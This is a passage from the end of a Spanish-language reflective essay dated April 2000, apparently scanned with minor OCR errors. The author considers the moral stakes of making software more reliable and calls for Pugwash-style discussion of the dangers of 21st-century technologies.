insuperables en lapsos de tiempo casi nulos. Debemos realizar mas tra-
bajo de reflexion si no queremos ser sorprendidos de la misma manera
y shockearnos con las consecuencias de nuestros inventos.

Mi trabajo personal sigue siendo el mejoramiento de la confiabili-
dad del software. El software es una herramienta, y como disefiador de
herramientas debo luchar con los usos a los que se someten las he-
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rramientas que hago. Siempre he creido que hacer mas confiable el
software, dados sus multiples usos, hara del mundo un lugar mejor y
mas seguro; si llegara a pensar lo contrario, estaria moralmente obliga-
do a detener mi trabajo. Ahora puedo imaginar que un dia asi pueda lle-
gar.

Todo esto no me enoja pero me deja, al menos, un poco melancoli-
co. De aqui en mas, el progreso, para mi, sera de algiin modo agridulce.

¢(Recuerdan la hermosa penudltima escena de Manhattan donde
Woody Allen esta tirado en su sillon y le habla a un grabador? Relata
una historia sobre personas que se crean a si mismas problemas innece-
sarios, neuroticos, porque eso los mantiene alejados de afrontar otros
problemas espeluznantes, sin solucién, acerca del universo.

Se hace a si mismo la pregunta, “;Qué hace que valga la pena vivir
la vida?” y se responde lo que es importante para él: Groucho Marx,
Willie Mays, el segundo movimiento de la sinfonia Japiter, la grabacion
de “Potato Head Blues” de Louis Armstrong, las peliculas suecas, La
Educacién Sentimental de Flaubert, Marlon Brando, Frank Sinatra, las
manzanas y peras de Cézanne, los cangrejos en “Sam Wo” y, por dltimo,
el desenlace: la cara de Tracy, su amor.

Cada uno de nosotros tiene sus cosas preciosas, y al cuidar de ellas
localizamos la esencia de nuestra humanidad. A la larga, es debido a
nuestra gran capacidad para cuidar y proteger que todavia soy opti-
mista de que confrontaremos con los peligrosos temas que tenemos por
delante.

Mi expectativa inmediata es la de participar en una discusion
mucho mas amplia sobre los temas tratados aqui, con gente proveniente
de diversas préacticas, con un programa que no se predisponga a temer
o favorecer a la tecnologia por su misma razén de ser.

Para empezar, he presentado dos veces estos temas en eventos
organizados por el Aspen Institute y ademas he propuesto que la
Academia Americana de Artes y Ciencias los tome como una extension
de su trabajo en las Conferencias Pugwash. (Estas se han realizado
desde 1957 para discutir el control de armas, en especial de armas
nucleares, y para formular politicas viables.)

Es una lastima que los encuentros Pugwash empezaran recién
cuando el genio ya hubiera salido hace bastante de la botella —unos 15
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afios tarde. Nosotros también estamos teniendo una salida retardada
para confrontar con los temas de la tecnologia del siglo XXI —la preven-
cion de la destruccion masiva habilitada por el conocimiento-, y ma-
yores retrasos se tornan inaceptables.

Asi que todavia estoy investigando; hay muchas mas cosas para
aprender. Vayamos a tener éxito o a fracasar; vayamos a sobrevivir o a
caer victimas de estas tecnologias, no esta decidido todavia. Me quedé
despierto hasta tarde otra vez —son casi las 6 AM. Estoy tratando de
imaginar mejores respuestas, de romper el hechizo y liberarlas de la
piedra.

Abril, 2000
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